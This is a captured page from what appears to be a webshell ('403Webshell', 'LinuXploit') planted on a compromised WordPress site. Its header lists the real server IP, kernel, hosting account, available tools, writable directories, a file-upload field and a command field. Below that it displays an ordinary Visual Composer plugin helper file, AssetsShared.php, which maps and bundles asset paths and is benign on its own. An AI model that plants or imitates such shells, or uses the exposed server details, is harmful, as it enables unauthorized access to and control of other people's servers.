403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : uxhactp ( 169076)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uxhactp/www/wp-content/plugins/visualcomposer/visualcomposer/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uxhactp/www/wp-content/plugins/visualcomposer/visualcomposer/Helpers//AssetsShared.php
<?php

namespace VisualComposer\Helpers;

if (!defined('ABSPATH')) {
    header('Status: 403 Forbidden');
    header('HTTP/1.1 403 Forbidden');
    exit;
}

use VisualComposer\Framework\Container;
use VisualComposer\Framework\Illuminate\Support\Helper;

class AssetsShared extends Container implements Helper
{
    /**
     * @var null|array
     */
    protected static $assetsLibrariesCache = null;

    /**
     * @param $name
     * @param $path
     *
     * @return string
     * @throws \VisualComposer\Framework\Illuminate\Container\BindingResolutionException
     */
    protected function renameLocalPath($name, $path)
    {
        return vchelper('Url')->to(str_replace('[publicPath]/', 'public/sources/assetsLibrary/' . $name . '/', $path));
    }

    /**
     * @return array|null
     * @throws \VisualComposer\Framework\Illuminate\Container\BindingResolutionException
     */
    public function getSharedAssets()
    {
        if (empty(self::$assetsLibrariesCache)) {
            $assetsLibraries = $this->parseJsonFile([]);
            $assetsLibraries = $this->parseOptions($assetsLibraries);

            self::$assetsLibrariesCache = vcfilter('vcv:helper:assetsShared:getLibraries', $assetsLibraries);
        }

        return self::$assetsLibrariesCache;
    }

    /**
     * @param $assets
     *
     * @return \VisualComposer\Helpers\Options
     * @throws \VisualComposer\Framework\Illuminate\Container\BindingResolutionException
     */
    public function setSharedAssets($assets)
    {
        $optionsHelper = vchelper('Options');
        self::$assetsLibrariesCache = null; // force update on next request

        return $optionsHelper->set('assetsLibrary', $assets);
    }

    /**
     * @param $filePath
     *
     * @return string
     */
    public function getPluginsAssetUrl($filePath = '')
    {
        if (preg_match('/^http/', $filePath)) {
            return set_url_scheme($filePath);
        }

        $url = set_url_scheme(VCV_PLUGIN_URL . 'public/sources/' . ltrim($filePath, '/\\'));

        return $url;
    }

    /**
     * Get relative path from absolute url
     *
     * @param $path
     *
     * @return array|string|string[]
     */
    public function relative($path)
    {
        $bundleUrl = $path;

        if (preg_match('/\/public\/sources\/assetsLibrary\//', $path)) {
            $url = $this->getPluginsAssetUrl();
            $url = str_replace(['http://', 'https://'], '', $url);
            $contentUrl = content_url() . '/public/sources/assetsLibrary/';
            $contentUrl = str_replace(['http://', 'https://'], '', $contentUrl);
            $path = str_replace(['http://', 'https://'], '', $path);

            if (strpos($path, $url) !== false) {
                $bundleUrl = str_replace($url, '', $path);
            } elseif (strpos($path, $contentUrl) !== false) {
                $bundleUrl = str_replace($contentUrl, '', $path);
            }
        }

        return $bundleUrl;
    }

    /**
     * Find new local assets path. Needed for BC
     *
     * @param $assetsPath
     *
     * @return array|null
     * @throws \VisualComposer\Framework\Illuminate\Container\BindingResolutionException
     */
    public function findLocalAssetsPath($assetsPath)
    {
        $assets = [
            'elements/singleImage/singleImage/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/singleImage/singleImage/public/dist/jquery.zoom.min.js' => 'assetsLibrary/zoom/dist/zoom.bundle.js',
            'elements/simpleImageSlider/simpleImageSlider/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/imageGallery/imageGallery/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/imageGalleryWithIcon/imageGalleryWithIcon/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/imageGalleryWithScaleUp/imageGalleryWithScaleUp/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/imageGalleryWithZoom/imageGalleryWithZoom/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/imageMasonryGallery/imageMasonryGallery/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/imageMasonryGalleryWithIcon/imageMasonryGalleryWithIcon/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/imageMasonryGalleryWithScaleUp/imageMasonryGalleryWithScaleUp/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',
            'elements/imageMasonryGalleryWithZoom/imageMasonryGalleryWithZoom/public/dist/lightbox.min.js' => 'assetsLibrary/lightbox/dist/lightbox.bundle.js',

            'elements/singleImage/singleImage/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/simpleImageSlider/simpleImageSlider/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGallery/imageGallery/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithIcon/imageGalleryWithIcon/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithScaleUp/imageGalleryWithScaleUp/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithZoom/imageGalleryWithZoom/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGallery/imageMasonryGallery/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithIcon/imageMasonryGalleryWithIcon/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithScaleUp/imageMasonryGalleryWithScaleUp/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithZoom/imageMasonryGalleryWithZoom/public/dist/photoswipe.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',

            'elements/singleImage/singleImage/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/simpleImageSlider/simpleImageSlider/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGallery/imageGallery/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithIcon/imageGalleryWithIcon/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithScaleUp/imageGalleryWithScaleUp/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithZoom/imageGalleryWithZoom/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGallery/imageMasonryGallery/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithIcon/imageMasonryGalleryWithIcon/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithScaleUp/imageMasonryGalleryWithScaleUp/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithZoom/imageMasonryGalleryWithZoom/public/dist/photoswipe-ui-default.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',

            'elements/singleImage/singleImage/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/simpleImageSlider/simpleImageSlider/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGallery/imageGallery/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithIcon/imageGalleryWithIcon/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithScaleUp/imageGalleryWithScaleUp/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageGalleryWithZoom/imageGalleryWithZoom/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGallery/imageMasonryGallery/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithIcon/imageMasonryGalleryWithIcon/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithScaleUp/imageMasonryGalleryWithScaleUp/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',
            'elements/imageMasonryGalleryWithZoom/imageMasonryGalleryWithZoom/public/dist/photoswipe-init.min.js' => 'assetsLibrary/photoswipe/dist/photoswipe.bundle.js',

            'elements/faqToggle/faqToggle/public/dist/faqToggle.min.js' => [
                'assetsLibrary/faqToggle/dist/faqToggle.bundle.js', // shared-library
                'elements/faqToggle/faqToggle/public/dist/faqToggle.min.js' // initializator
            ],
            'elements/outlineFaqToggle/outlineFaqToggle/public/dist/faqToggle.min.js' => [
                'assetsLibrary/faqToggle/dist/faqToggle.bundle.js', // shared-library
                'elements/outlineFaqToggle/outlineFaqToggle/public/dist/outlineFaqToggle.min.js' // initializator
            ],

            'elements/row/row/public/dist/fullHeightRow.min.js' => 'assetsLibrary/fullHeight/dist/fullHeight.bundle.js',
            'elements/row/row/public/dist/fullWidthRow.min.js' => 'assetsLibrary/fullWidth/dist/fullWidth.bundle.js',

            'elements/section/section/public/dist/fullWidthSection.min.js' => 'assetsLibrary/fullWidth/dist/fullWidth.bundle.js',

            'elements/logoSlider/logoSlider/public/dist/slick.custom.min.js' => 'assetsLibrary/slickSlider/dist/slickCustom.bundle.js',
            'elements/postsSlider/postsSlider/public/dist/slick.custom.min.js' => 'assetsLibrary/slickSlider/dist/slickCustom.bundle.js',
            'elements/simpleImageSlider/simpleImageSlider/public/dist/slick.custom.min.js' => 'assetsLibrary/slickSlider/dist/slickCustom.bundle.js',

            'elements/sandwichMenu/sandwichMenu/public/dist/sandwichMenu.min.js' => [
                'assetsLibrary/menuToggle/dist/menuToggle.bundle.js', // shared-library
                'elements/sandwichMenu/sandwichMenu/public/dist/sandwichMenu.min.js' // initializator
            ],
            'assetsLibrary/iconpicker/dist/iconpicker.bundle.css' => [
                'sharedLibraries/iconpicker/dist/batch.bundle.css',
                'sharedLibraries/iconpicker/dist/dripicons.bundle.css',
                'sharedLibraries/iconpicker/dist/entypo.bundle.css',
                'sharedLibraries/iconpicker/dist/feather.bundle.css',
                'sharedLibraries/iconpicker/dist/fontawesome.bundle.css',
                'sharedLibraries/iconpicker/dist/linearicons.bundle.css',
                'sharedLibraries/iconpicker/dist/lineicons.bundle.css',
                'sharedLibraries/iconpicker/dist/material.bundle.css',
                'sharedLibraries/iconpicker/dist/metrize.bundle.css',
                'sharedLibraries/iconpicker/dist/mfglabs.bundle.css',
                'sharedLibraries/iconpicker/dist/monosocial.bundle.css',
                'sharedLibraries/iconpicker/dist/openiconic.bundle.css',
                'sharedLibraries/iconpicker/dist/socials.bundle.css',
                'sharedLibraries/iconpicker/dist/typicons.bundle.css',
            ],
            'sharedLibraries/iconpicker/dist/iconpicker.bundle.css' => [
                'sharedLibraries/iconpicker/dist/batch.bundle.css',
                'sharedLibraries/iconpicker/dist/dripicons.bundle.css',
                'sharedLibraries/iconpicker/dist/entypo.bundle.css',
                'sharedLibraries/iconpicker/dist/feather.bundle.css',
                'sharedLibraries/iconpicker/dist/fontawesome.bundle.css',
                'sharedLibraries/iconpicker/dist/linearicons.bundle.css',
                'sharedLibraries/iconpicker/dist/lineicons.bundle.css',
                'sharedLibraries/iconpicker/dist/material.bundle.css',
                'sharedLibraries/iconpicker/dist/metrize.bundle.css',
                'sharedLibraries/iconpicker/dist/mfglabs.bundle.css',
                'sharedLibraries/iconpicker/dist/monosocial.bundle.css',
                'sharedLibraries/iconpicker/dist/openiconic.bundle.css',
                'sharedLibraries/iconpicker/dist/socials.bundle.css',
                'sharedLibraries/iconpicker/dist/typicons.bundle.css',
            ],

            // BC: ClassicTabs to new tabs assets
            'elements/classicTabs/classicTabs/public/dist/vc-classic-tabs-accordion.min.js' => 'assetsLibrary/accordion/dist/accordion.bundle.js',
            'elements/classicTabs/classicTabs/public/dist/vc-classic-tabs-tabs.min.js' => [
                'assetsLibrary/tabs/dist/tabs.bundle.js',
                'elements/classicTabs/classicTabs/public/dist/vcClassicTabs.min.js',
            ],
            'elements/classicTabs/classicTabs/public/dist/vc-classic-tabs-accordion-autoplay.min.js' => 'assetsLibrary/accordionAutoplay/dist/accordionAutoplay.bundle.js',

            // BC: ClassicAccordion
            'elements/classicAccordion/classicAccordion/public/dist/vc-classic-accordion.min.js' => [
                'assetsLibrary/accordion/dist/accordion.bundle.js',
                'elements/classicAccordion/classicAccordion/public/dist/vcClassicAccordion.min.js',
            ],
            'elements/classicAccordion/classicAccordion/public/dist/vc-classic-accordion-autoplay.min.js' => 'assetsLibrary/accordionAutoplay/dist/accordionAutoplay.bundle.js',

            // BC: tabsWithSlide
            'elements/tabsWithSlide/tabsWithSlide/public/dist/vc-accordion.min.js' => 'assetsLibrary/accordion/dist/accordion.bundle.js',
            'elements/tabsWithSlide/tabsWithSlide/public/dist/vc-tabs.min.js' => [
                'assetsLibrary/tabs/dist/tabs.bundle.js',
                'elements/tabsWithSlide/tabsWithSlide/public/dist/vcTabsWithSlide.min.js',
            ],
            'elements/tabsWithSlide/tabsWithSlide/public/dist/vc-accordion-autoplay.min.js' => 'assetsLibrary/accordionAutoplay/dist/accordionAutoplay.bundle.js',
        ];

        $output = $assetsPath;

        if (isset($assets[ $assetsPath ])) {
            $output = $assets[ $assetsPath ];
        }

        $output = vcfilter('vcv:helpers:assetsShared:findLocalAssetsPath', $output, [$assetsPath]);

        return $output;
    }

    /**
     * @param $assetsLibraries
     *
     * @return array
     * @throws \VisualComposer\Framework\Illuminate\Container\BindingResolutionException
     */
    protected function parseJsonFile($assetsLibraries)
    {
        $json = vchelper('File')->getContents(
            VCV_PLUGIN_DIR_PATH . 'public/sources/assetsLibrary/assetsLibraries.json'
        );
        $data = json_decode($json);
        if (isset($data->assetsLibrary) && is_array($data->assetsLibrary)) {
            foreach ($data->assetsLibrary as $asset) {
                if (isset($asset->name)) {
                    $name = $asset->name;
                    $assetsLibraries[ $name ] = [
                        'dependencies' => $asset->dependencies,
                        'jsBundle' => isset($asset->jsBundle) ? add_query_arg(
                            'v',
                            VCV_VERSION,
                            $this->renameLocalPath(
                                $name,
                                $asset->jsBundle
                            )
                        ) : '',
                        'cssBundle' => isset($asset->cssBundle) ? add_query_arg(
                            'v',
                            VCV_VERSION,
                            $this->renameLocalPath(
                                $name,
                                $asset->cssBundle
                            )
                        ) : '',
                    ];

                    if (isset($asset->cssSubsetBundles)) {
                        $cssSubsetBundles = [];
                        foreach ($asset->cssSubsetBundles as $singleKey => $single) {
                            $cssSubsetBundles[ $singleKey ] = add_query_arg(
                                'v',
                                VCV_VERSION,
                                $this->renameLocalPath($name, $single)
                            );
                        }
                        $assetsLibraries[ $name ]['cssSubsetBundles'] = $cssSubsetBundles;
                    }
                }
            }
        }

        return $assetsLibraries;
    }

    /**
     * @param $assetsLibraries
     *
     * @return mixed
     */
    protected function parseOptions($assetsLibraries)
    {
        if (vcvenv('VCV_ENV_EXTENSION_DOWNLOAD')) {
            $optionsHelper = vchelper('Options');
            $assets = $optionsHelper->get('assetsLibrary', []);
            foreach ($assets as $key => $value) {
                if (!isset($assetsLibraries[ $key ])) {
                    if (isset($value['jsBundle'])) {
                        $value['jsBundle'] = $this->getBundleUrl($value['jsBundle']);
                    }
                    if (isset($value['cssBundle'])) {
                        $value['cssBundle'] = $this->getBundleUrl($value['cssBundle']);
                    }
                    $assetsLibraries[ $key ] = $value;

                    if (isset($value['cssSubsetBundles'])) {
                        $cssSubsetBundles = [];
                        foreach ($value['cssSubsetBundles'] as $singleKey => $single) {
                            $cssSubsetBundles[ $singleKey ] = $this->getBundleUrl($single);
                        }
                        $assetsLibraries[ $key ]['cssSubsetBundles'] = $cssSubsetBundles;
                    }
                }
            }
        }

        return $assetsLibraries;
    }

    /**
     * Get bundle url.
     *
     * @param string $relativePath
     *
     * @return string
     */
    public function getBundleUrl($relativePath)
    {
        $assetsHelper = vchelper('Assets');

        $assetUrl = $assetsHelper->getAssetUrl($relativePath);

        return add_query_arg(
            'v',
            VCV_VERSION,
            apply_filters('vcv:helpers:assetsShared:getBundleUrl', $assetUrl, $relativePath)
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit